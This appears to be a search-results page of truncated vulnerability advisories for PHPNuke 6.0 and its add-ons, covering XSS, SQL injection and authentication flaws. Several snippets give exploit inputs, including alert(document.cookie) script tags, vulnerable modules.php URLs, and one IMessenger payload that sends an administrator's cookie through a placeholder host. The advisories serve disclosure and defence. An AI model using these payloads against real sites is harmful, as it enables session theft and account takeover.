256 matches found
Multiple XSS vulnerabilites in PHPNuke
Multiple XSS Vulnerabilities in PHPNuke 6.0 ------------------------------------------- Summary: We have found 7 diferent cross-site-scripting vulnerabilities in PHPNuke 6.0 which allow for anyone to steal the authentication cookies from users and Administrators. Some of them include several ways...
XSS bug in PHPNuke 6.0
Vulnerable systems: PHPNuke 6.0 & mabey all Exploit: 1- go to http://traget/modules.php?name=Downloads&dop=search 2- put in form search this code : Scriptjavascript:alertdocument.cookie/Script 3- click "Search" without "" you can't use it an URL like this http://traget/modules.php?...
PHPNUKE 6 XSS Vulnerabilities
http://www.phpnuke.org/modules.php?name=Search Enter: scriptalertdocument.cookie;/script in form, click Search. Needless to say these bugs won't go away. The vendor WOULD HAVE been contacted if they just gave an email address without having to subscribe to nukesupport/phpnuke - maybe I don't use...
PHP-Nuke 6.0 - News Message HTML Injection
PHP-Nuke 6.0 - News Message HTML Injection source: https://www.securityfocus.com/bid/5796/info Problems with PHPNuke could make it possible to execute arbitrary script code in a vulnerable client. PHPNuke does not sufficiently filter potentially malicious HTML code from news posts. As a result,...
PHP-Nuke 6.0 - 'modules.php' SQL Injection
source: https://www.securityfocus.com/bid/5799/info A SQL injection vulnerability has been discovered in PHPNuke. Due to insufficient sanitization of variables used in SQL queries, it is possible to modify the logic of SQL queries. This issue could result in a denial of service attack or the...
PHP-Nuke 6.0 - News Message HTML Injection
source: https://www.securityfocus.com/bid/5796/info Problems with PHPNuke could make it possible to execute arbitrary script code in a vulnerable client. PHPNuke does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contai...
PHPNuke 'admin.php' script does not adequately authenticate users, thereby allowing malicious user to copy, move, or upload files
Overview PHPNuke's "admin.php" script does not properly authenticate users of its filemanager capabilities. Attackers may exploit this vulnerability to copy, move, or upload files. Description PHPNuke is a set of PHP scripts designed to simplify website creation and maintenance. The "admin.php"...
PHP-Nuke 6.0/6.5 - Search Form Cross-Site Scripting
source: https://www.securityfocus.com/bid/5788/info PHPNuke 6.0 is prone to cross-site scripting attacks. HTML tags are not filtered from links to the 'modules.php' script. Reportedly, the problem lies in the 'Search' page of the 'modules.php' script. It is possible for a malicious attacker to...
Crossite scripting in PHPNuke/PostNUKE
No description provided...
Security bugs in PhpNuke
Hello, I found 2 security bugs in phpnuke The first is a path disclosure vulnerability : Change this http://nukesite.xxx/modules.php?op=modload&name=WebLinks&file=index&lop=viewlink&cid=3 in that ... http://nukesite.xxx/modules.php?op=modload&name=WebLinks&file=index&lop=viewlink The second one i...
PHP-Nuke 4.x/5.x - SQL_Debug Information Disclosure
source: https://www.securityfocus.com/bid/3906/info PHPNuke is a website creation/maintenance tool. It is can be back-ended by a number of database products such as MySQL, PostgreSQL, mSQL, Interbase, Sybase, etc. The sqllayer.php script contains a debugging feature that may be used by attackers ...
PHP-Nuke 4.x5.x - SQL_Debug Information Disclosure
PHP-Nuke 4.x5.x - SQLDebug Information Disclosure source: https://www.securityfocus.com/bid/3906/info PHPNuke is a website creation/maintenance tool. It is can be back-ended by a number of database products such as MySQL, PostgreSQL, mSQL, Interbase, Sybase, etc. The sqllayer.php script contains ...
CSS in PHPNuke add-on
/phptonuke.php?filnavn=scriptalert document.cookie/script " and ' aren't authorized...
PHP-Nuke AddOn PHPToNuke.php 1.0 - Cross-Site Scripting
PHP-Nuke AddOn PHPToNuke.php 1.0 - Cross-Site Scripting source: https://www.securityfocus.com/bid/3807/info phptonuke.php is a PHPNuke AddOn script to insert a PHP script into the middle of a PHPNuke site. It is written and maintained by Lebios. It is possible for a malicious user to create a lin...
PHP-Nuke AddOn PHPToNuke.php 1.0 - Cross-Site Scripting
source: https://www.securityfocus.com/bid/3807/info phptonuke.php is a PHPNuke AddOn script to insert a PHP script into the middle of a PHPNuke site. It is written and maintained by Lebios. It is possible for a malicious user to create a link to the phptonuke.php script which contains script code...
PHPNuke 5 Cross Scripting
This is a forward of frog-m@n posting to Vuln-Dev. Here a few holes that i've found in PHPNuke. 5 "Cross Site Scripting". http://phpnuke.org/modules.php? name=Downloads&dop=viewdownloaddetails&lid=0 2&ttitle=JAVASCRIPT http://phpnuke.org/modules.php? name=Downloads&dop=ratedownload&lid=118&ttitle...
Phpnuke module.php vulnerability and php error_reporting issue
Phpnuke module.php vulnerability and PHP errorreporting issue on 16 december by Cabezon Aurйlien | [email protected] As you know, there are many Cross site scripting issue on Phpnuke modules and other web application using PHP. There is a cross site scripting issue cause : 1 there ...
PHPNuke Cross Scripting...
Here a few holes that i've found in PHPNuke. 5 "Cross Site Scripting". http://phpnuke.org/modules.php? name=Downloads&dop=viewdownloaddetails&lid=0 2&ttitle=JAVASCRIPT http://phpnuke.org/modules.php? name=Downloads&dop=ratedownload&lid=118&ttitle =JAVASCRIPT http://phpnuke.org/modules.php?...
Security hole in IMessenger ( PHP-Nuke )
There is a big hole in imessenger im.php. He accept javascript... if I send scriptwindow.location.href='http://www. SERVER.com/im.php?usernameto= MYNICK &subject='+ document.cookie +'&message=message&action=send' ;/script without '' to the admin, he send his cookie. PHPNuke has been alerted...